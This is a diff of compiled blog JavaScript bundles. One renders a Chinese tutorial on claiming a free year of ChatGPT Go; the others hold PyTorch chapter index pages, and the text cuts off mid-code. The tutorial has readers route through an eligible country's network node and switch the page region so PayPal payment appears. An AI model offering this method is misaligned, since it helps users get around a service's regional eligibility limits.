19:22:45"})]})})]}),"\n",(0,t.jsx)(e.h2,{id:"\u9886\u53d6\u6761\u4ef6",children:"\u9886\u53d6\u6761\u4ef6"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsxs)(e.li,{children:["\u9700\u8981\u4e00\u4e2a",(0,t.jsx)(e.strong,{children:"\u4efb\u610f"}),"\u5730\u533a\u7684",(0,t.jsx)(e.strong,{children:"PayPal"})]}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:"\u4e00\u5f20\u652f\u6301\u5916\u5e01\u652f\u4ed8\u7684\u4e2d\u56fd\u533a\u7684\u4fe1\u7528\u5361"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.del,{children:"\u53ea\u5bf9\u4e00\u4e0b\u5730\u5740\u5f00\u653e\uff0c\u6240\u4ee5\u4f60\u5f97\u6709\u4ee5\u4e0b\u5730\u533a\u7684\u7f51\u7edc\uff0c\u4f8b\u5982\u6211\u8fd9\u91cc\u9009\u62e9\u5370\u5ea6"})}),"\n"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u963f\u5bcc\u6c57"}),(0,t.jsx)(e.td,{children:"\u963f\u5c14\u53ca\u5229\u4e9a"}),(0,t.jsx)(e.td,{children:"\u5b89\u54e5\u62c9"}),(0,t.jsx)(e.td,{children:"\u5965\u5730\u5229\xb9"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u5b5f\u52a0\u62c9\u56fd"}),(0,t.jsx)(e.td,{children:"\u8d1d\u5b81"}),(0,t.jsx)(e.td,{children:"\u4e0d\u4e39"}),(0,t.jsx)(e.td,{children:"\u73bb\u5229\u7ef4\u4e9a"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u535a\u8328\u74e6\u7eb3"}),(0,t.jsx)(e.td,{children:"\u5df4\u897f\xb9"}),(0,t.jsx)(e.td,{children:"\u6587\u83b1\u8fbe\u9c81\u8428\u5170\u56fd"}),(0,t.jsx)(e.td,{children:"\u5e03\u57fa\u7eb3\u6cd5\u7d22"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u5e03\u9686\u8fea"}),(0,t.jsx)(e.td,{children:"\u67ec\u57d4\u5be8"}),(0,t.jsx)(e.td,{children:"\u5580\u9ea6\u9686"}),(0,t.jsx)(e.td,{children:"\u4f5b\u5f97\u89d2"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u4e2d\u975e\u5171\u548c\u56fd"}),(0,t.jsx)(e.td,{children:"\u4e4d\u5f97"}),(0,t.jsx)(e.td,{children:"\u79d1\u6469\u7f57"}),(0,t.jsx)(e.td,{children:"\u521a\u679c\uff08\u5e03\u62c9\u67f4\u7ef4\u5c14\uff09"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u6377\u514b\u5171\u548c\u56fd\xb9"}),(0,t.jsx)(e.td,{children:"\u521a\u679c\u6c11\u4e3b\u5171\u548c\u56fd"}),(0,t.jsx)(e.td,{children:"\u4e39\u9ea6\xb9"}),(0,t.jsx)(e.td,{children:"\u5409\u5e03\u63d0"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u57c3\u53ca\xb9"}),(0,t.jsx)(e.td,{children:"\u8428\u5c14\u74e6\u591a"}),(0,t.jsx)(e.td,{children:"\u8d64\u9053\u51e0\u5185\u4e9a"}),(0,t.jsx)(e.td,{children:"\u5384\u7acb\u7279\u91cc\u4e9a"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u57c3\u65af\u74e6\u8482\u5c3c\uff08\u539f\u65af\u5a01\u58eb\u5170\uff09"}),(0,t.jsx)(e.td,{children:"\u57c3\u585e\u4fc4\u6bd4\u4e9a"}),(0,t.jsx)(e.td,{children:"\u6cd5\u5c5e\u5357\u90e8\u9886\u5730"}),(0,t.jsx)(e.td,{children:"\u52a0\u84ec"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u5188\u6bd4\u4e9a"}),(0,t.jsx)(e.td,{children:"\u52a0\u7eb3"}),(0,t.jsx)(e.td,{children:"\u51e0\u5185\u4e9a"}),(0,t.jsx)(e.td,{children:"\u51e0\u5185\u4e9a\u6bd4\u7ecd"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u6d77\u5730"}),(0,t.jsx)(e.td,{children:"\u6d2a\u90fd\u62c9\u65af"}),(0,t.jsx)(e.td,{children:"\u5370\u5ea6\xb9"}),(0,t.jsx)(e.td,{children:"\u5370\u5ea6\u5c3c\u897f\u4e9a\xb9"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u79d1\u7279\u8fea\u74e6"}),(0,t.jsx)(e.td,{children:"\u54c8\u8428\u514b\u65af\u5766\xb9"}),(0,t.jsx)(e.td,{children:"\u80af\u5c3c\u4e9a"}),(0,t.jsx)(e.td,{children:"\u5409\u5c14\u5409\u65af\u65af\u5766"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u8001\u631d"}),(0,t.jsx)(e.td,{children:"\u83b1\u7d22\u6258"}),(0,t.jsx)(e.td,{children:"\u5229\u6bd4\u91cc\u4e9a"}),(0,t.jsx)(e.td,{children:"\u5229\u6bd4\u4e9a"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u9a6c\u8fbe\u52a0\u65af\u52a0"}),(0,t.jsx)(e.td,{children:"\u9a6c\u62c9\u7ef4"}),(0,t.jsx)(e.td,{children:"\u9a6c\u6765\u897f\u4e9a\xb9"}),(0,t.jsx)(e.td,{children:"\u9a6c\u5c14\u4ee3\u592b"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u9a6c\u91cc"}),(0,t.jsx)(e.td,{children:"\u6bdb\u91cc\u5854\u5c3c\u4e9a"}),(0,t.jsx)(e.td,{children:"\u6bdb\u91cc\u6c42\u65af"}),(0,t.jsx)(e.td,{children:"\u9a6c\u7ea6\u7279\u5c9b"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u8499\u53e4"}),(0,t.jsx)(e.td,{children:"\u6469\u6d1b\u54e5"}),(0,t.jsx)(e.td,{children:"\u83ab\u6851\u6bd4\u514b"}),(0,t.jsx)(e.td,{children:"\u7f05\u7538"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u7eb3\u7c73\u6bd4\u4e9a"}),(0,t.jsx)(e.td,{children:"\u5c3c\u6cca\u5c14"}),(0,t.jsx)(e.td,{children:"\u5c3c\u52a0\u62c9\u74dc"}),(0,t.jsx)(e.td,{children:"\u5c3c\u65e5\u5c14"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u5c3c\u65e5\u5229\u4e9a\xb9"}),(0,t.jsx)(e.td,{children:"\u632a\u5a01\xb9"}),(0,t.jsx)(e.td,{children:"\u5df4\u57fa\u65af\u5766\xb9"}),(0,t.jsx)(e.td,{children:"\u5df4\u5e03\u4e9a\u65b0\u51e0\u5185\u4e9a"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u83f2\u5f8b\u5bbe\xb9"}),(0,t.jsx)(e.td,{children:"\u6ce2\u5170\xb9"}),(0,t.jsx)(e.td,{children:"\u8461\u8404\u7259\xb9"}),(0,t.jsx)(e.td,{children:"\u56e2\u5706"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u5362\u65fa\u8fbe"}),(0,t.jsx)(e.td,{children:"\u5723\u8d6b\u52d2\u62ff\u5c9b"}),(0,t.jsx)(e.td,{children:"\u5723\u591a\u7f8e\u548c\u666e\u6797\u897f\u6bd4"}),(0,t.jsx)(e.td,{children:"\u585e\u5185\u52a0\u5c14"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u585e\u820c\u5c14"}),(0,t.jsx)(e.td,{children:"\u585e\u62c9\u5229\u6602"}),(0,t.jsx)(e.td,{children:"\u7d22\u9a6c\u91cc"}),(0,t.jsx)(e.td,{children:"\u5357\u975e\xb9"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u5357\u82cf\u4e39"}),(0,t.jsx)(e.td,{children:"\u897f\u73ed\u7259\xb9"}),(0,t.jsx)(e.td,{children:"\u65af\u91cc\u5170\u5361"}),(0,t.jsx)(e.td,{children:"\u82cf\u4e39"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u5854\u5409\u514b\u65af\u5766"}),(0,t.jsx)(e.td,{children:"\u5766\u6851\u5c3c\u4e9a\xb9"}),(0,t.jsx)(e.td,{children:"\u6cf0\u56fd\xb9"}),(0,t.jsx)(e.td,{children:"\u4e1c\u5e1d\u6c76"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u591a\u54e5"}),(0,t.jsx)(e.td,{children:"\u7a81\u5c3c\u65af"}),(0,t.jsx)(e.td,{children:"\u571f\u5e93\u66fc\u65af\u5766"}),(0,t.jsx)(e.td,{children:"\u4e4c\u5e72\u8fbe"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u4e4c\u5179\u522b\u514b\u65af\u5766"}),(0,t.jsx)(e.td,{children:"\u8d8a\u5357\xb9"}),(0,t.jsx)(e.td,{children:"\u4e5f\u95e8"}),(0,t.jsx)(e.td,{children:"\u8d5e\u6bd4\u4e9a"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u6d25\u5df4\u5e03\u97e6"}),(0,t.jsx)(e.td,{}),(0,t.jsx)(e.td,{}),(0,t.jsx)(e.td,{})]})]})]}),"\n",(0,t.jsx)(e.h2,{id:"\u5916\u5e01\u652f\u4ed8\u4fe1\u7528\u5361\u9886\u53d6\u6559\u7a0b",children:"\u5916\u5e01\u652f\u4ed8\u4fe1\u7528\u5361\u9886\u53d6\u6559\u7a0b"}),"\n",(0,t.jsxs)(e.blockquote,{children:["\n",(0,t.jsx)(e.p,{children:"\u8fd9\u90e8\u5206\u53ef\u9009\u62e9\u62db\u5546\u7684 Visa \u5361"}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-tex",children:"https://cc.cmbchina.com/card/\n"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202511101525044.png",alt:"image-20251110152241394"})}),"\n",(0,t.jsx)(e.h2,{id:"\u9886\u53d6\u5b9e\u64cd",children:"\u9886\u53d6\u5b9e\u64cd"}),"\n",(0,t.jsxs)(e.p,{children:["\u9996\u5148\u4f60\u5728\u4e0a\u8868\u4e2d\u7684\u4efb\u610f\u5730\u533a\u5747\u53ef\uff0c\u5e76\u8bbf\u95ee",(0,t.jsx)(e.code,{children:"chatgpt"}),"\uff0c\u5373\u53ef\u5728\u9875\u9762\u4e2d\u663e\u793a\u514d\u8d39\u8bd5\u7528 ",(0,t.jsx)(e.strong,{children:"Go"})]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202511101525045.png",alt:"image-20251110144021236"})}),"\n",(0,t.jsxs)(e.p,{children:["\u63a5\u4e0b\u6765\u662f\u6700\u91cd\u8981\u7684\u6b65\u9aa4\uff0c\u8fd9\u5173\u7cfb\u5230\u4f60\u80fd\u5426\u4f7f\u7528",(0,t.jsx)(e.strong,{children:"Paypal"})," \u7ed1\u5b9a\uff0c\u70b9\u51fb\u53f3\u4e0b\u89d2\u7684",(0,t.jsx)(e.strong,{children:"\u5370\u5ea6"}),"\uff08\u4f60\u4eec\u53ef\u80fd\u6709\u6240\u4e0d\u540c\uff09\uff0c\u5207\u6362\u81f3\u6b27\u6d32\u4efb\u610f\u5730\u533a\uff0c\u4f8b\u5982\u56fe\u4e2d\u7684",(0,t.jsx)(e.strong,{children:"\u6cd5\u56fd"})]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202511101525046.png",alt:"image-20251110144133319"})}),"\n",(0,t.jsxs)(e.p,{children:["\u70b9\u51fb\u5207\u6362\u540e\uff0c\u518d\u6b21\u70b9\u51fb\u56fe\u4e2d\u7684 ",(0,t.jsx)(e.strong,{children:"\u5347\u7ea7\u81f3Go"}),"\uff0c\u5373\u53ef\u51fa\u73b0",(0,t.jsx)(e.strong,{children:"PayPal"}),"\u652f\u4ed8"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202511101525047.png",alt:"image-20251110144207423"})}),"\n",(0,t.jsx)(e.p,{children:"\u767b\u5f55PayPal\uff0c\u5e76\u7ed1\u5b9a\u4fe1\u7528\u5361"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202511101525048.png",alt:"image-20251110144539996"})}),"\n",(0,t.jsx)(e.p,{children:"\u70b9\u51fb\u540c\u610f\u5e76\u7ee7\u7eed\u540e\uff0c\u5207\u6362\u56de\u6765\u5373\u53ef\u770b\u5230\u5df2\u7ecf\u662f Go \u5957\u9910\u4e86"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202511101525049.png",alt:"image-20251110144856290"})}),"\n",(0,t.jsx)(e.h2,{id:"\u6ce8\u610f\u4e8b\u9879",children:"\u6ce8\u610f\u4e8b\u9879"}),"\n",(0,t.jsx)(e.p,{children:"\u7531\u4e8e\u8be5\u5957\u9910\u662f\u6bcf\u6708\u4e00\u6b21\u7eed\u8d39\uff0c\u6240\u4ee5\u4f60\u4e0d\u80fd\u76f4\u63a5\u53d6\u6d88\u8ba2\u9605\uff0c\u800c\u4e14\u7b49\u5230\u4e00\u5e74\u540e\u53d6\u6d88\uff0c\u6240\u4ee5\u5404\u4f4d\u8bbe\u7f6e\u597d\u65e5\u8bb0\u95f9\u949f"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202511101525050.png",alt:"image-20251110151606280"})}),"\n",(0,t.jsx)(e.p,{children:"\u540e\u7eed\u65e0\u9700\u4f7f\u7528\u5370\u5ea6\u6216\u4f60\u5f53\u524d\u9009\u62e9\u7684\u5730\u533a\u8282\u70b9\uff0c\u5176\u4ed6\u5730\u533a\u7684\u8282\u70b9\u5747\u53ef"}),"\n",(0,t.jsx)(e.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,t.jsxs)(e.p,{children:["\u5982\u679c\u4f60\u4e5f\u60f3",(0,t.jsx)(e.strong,{children:"\u514d\u8d39\u9886\u53d6\u4e00\u5e74 ChatGPT Go \u5957\u9910"})," \uff0c\u5219\u9700\u8981\u524d\u7f6e\u7684\u4e09\u4e2a\u6761\u4ef6\uff0c\u8bb0\u5f97",(0,t.jsx)(e.strong,{children:"\u5173\u6ce8\u5c0f\u738b\u8bf4\u5b89\u5168"}),"\uff0c\u5e26\u4f60",(0,t.jsx)(e.strong,{children:"\u89e3\u9501\u66f4\u591a\u9690\u85cf\u798f\u5229\uff0c\u73a9\u8f6c\u524d\u6cbf\u79d1\u6280\uff01"})]})]})}function j(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,t.jsx)(e,{...n,children:(0,t.jsx)(x,{...n})}):x(n)}},28453:(n,e,d)=>{d.d(e,{R:()=>l,x:()=>i});var s=d(96540);const t={},r=s.createContext(t);function l(n){const e=s.useContext(r);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function i(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(t):n.components||t:l(n.components),s.createElement(r.Provider,{value:e},n.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/d780fe5b.bb597a0f.js b/en/assets/js/d780fe5b.bb597a0f.js new file mode 100644 index 0000000..f3fea47 --- /dev/null +++ b/en/assets/js/d780fe5b.bb597a0f.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6982],{28453:(e,t,n)=>{n.d(t,{R:()=>c,x:()=>i});var r=n(96540);const s={},l=r.createContext(s);function c(e){const t=r.useContext(l);return r.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:c(e.components),r.createElement(l.Provider,{value:t},e.children)}},41535:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>o,contentTitle:()=>i,default:()=>a,frontMatter:()=>c,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/README","title":"\u7b2c\u4e94\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b"},"next":{"title":"5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f"}}');var s=n(74848),l=n(28453);const c={},i="\u7b2c\u4e94\u7ae0",o={},d=[];function h(e){const t={code:"code",h1:"h1",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"\u7b2c\u4e94\u7ae0",children:"\u7b2c\u4e94\u7ae0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:18"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 18:21:41"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"\u7b2c\u4e94\u7ae0pytorch\u6a21\u578b\u5b9a\u4e49",children:"\u7b2c\u4e94\u7ae0\uff1aPyTorch\u6a21\u578b\u5b9a\u4e49"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-{toctree}",children:":maxdepth: 2\n5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f\n5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc\n5.3 PyTorch\u4fee\u6539\u6a21\u578b\n5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6\n"})})]})}function a(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/da3c0b9c.308f9b49.js b/en/assets/js/da3c0b9c.308f9b49.js new file mode 100644 index 0000000..b073cd7 --- /dev/null +++ b/en/assets/js/da3c0b9c.308f9b49.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6170],{28453:(e,t,n)=>{n.d(t,{R:()=>i,x:()=>c});var s=n(96540);const r={},l=s.createContext(r);function i(e){const t=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function c(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:i(e.components),s.createElement(l.Provider,{value:t},e.children)}},88550:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>d,contentTitle:()=>c,default:()=>a,frontMatter:()=>i,metadata:()=>s,toc:()=>o});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316","title":"3.8 \u53ef\u89c6\u5316.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30"},"next":{"title":"3.9 \u4f18\u5316\u5668.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668"}}');var r=n(74848),l=n(28453);const i={},c="3.8 \u53ef\u89c6\u5316.md",d={},o=[];function h(e){const t={h1:"h1",header:"header",img:"img",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"38-\u53ef\u89c6\u5316md",children:"3.8 \u53ef\u89c6\u5316.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:14"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(t.h1,{id:"38-\u53ef\u89c6\u5316",children:"3.8 \u53ef\u89c6\u5316"}),"\n",(0,r.jsx)(t.p,{children:"\u5728PyTorch\u6df1\u5ea6\u5b66\u4e60\u4e2d\uff0c\u53ef\u89c6\u5316\u662f\u4e00\u4e2a\u53ef\u9009\u9879\uff0c\u6307\u7684\u662f\u67d0\u4e9b\u4efb\u52a1\u5728\u8bad\u7ec3\u5b8c\u6210\u540e\uff0c\u9700\u8981\u5bf9\u4e00\u4e9b\u5fc5\u8981\u7684\u5185\u5bb9\u8fdb\u884c\u53ef\u89c6\u5316\uff0c\u6bd4\u5982\u5206\u7c7b\u7684ROC\u66f2\u7ebf\uff0c\u5377\u79ef\u7f51\u7edc\u4e2d\u7684\u5377\u79ef\u6838\uff0c\u4ee5\u53ca\u8bad\u7ec3/\u9a8c\u8bc1\u8fc7\u7a0b\u7684\u635f\u5931\u51fd\u6570\u66f2\u7ebf\u7b49\u7b49\u3002\u5177\u4f53\u7684\u53ef\u89c6\u5316\u65b9\u6cd5\u53ef\u4ee5\u53c2\u8003\u7b2c\u4e03\u7ae0\u3002"})]})}function a(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/db00fa99.476767c9.js b/en/assets/js/db00fa99.476767c9.js new file mode 100644 index 0000000..04bfc75 --- /dev/null +++ b/en/assets/js/db00fa99.476767c9.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[312],{19682:(e,n,i)=>{i.d(n,{A:()=>a});const a=i.p+"assets/images/image_batch-8400bee4d354f2f028f8b1305d17eb32.png"},28453:(e,n,i)=>{i.d(n,{R:()=>r,x:()=>g});var a=i(96540);const s={},t=a.createContext(s);function r(e){const n=a.useContext(t);return a.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function g(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:r(e.components),a.createElement(t.Provider,{value:n},e.children)}},45838:(e,n,i)=>{i.d(n,{A:()=>a});const a=i.p+"assets/images/Lenna_original-191f4205cb913835ed5eff358d6fd526.png"},47803:(e,n,i)=>{i.d(n,{A:()=>a});const 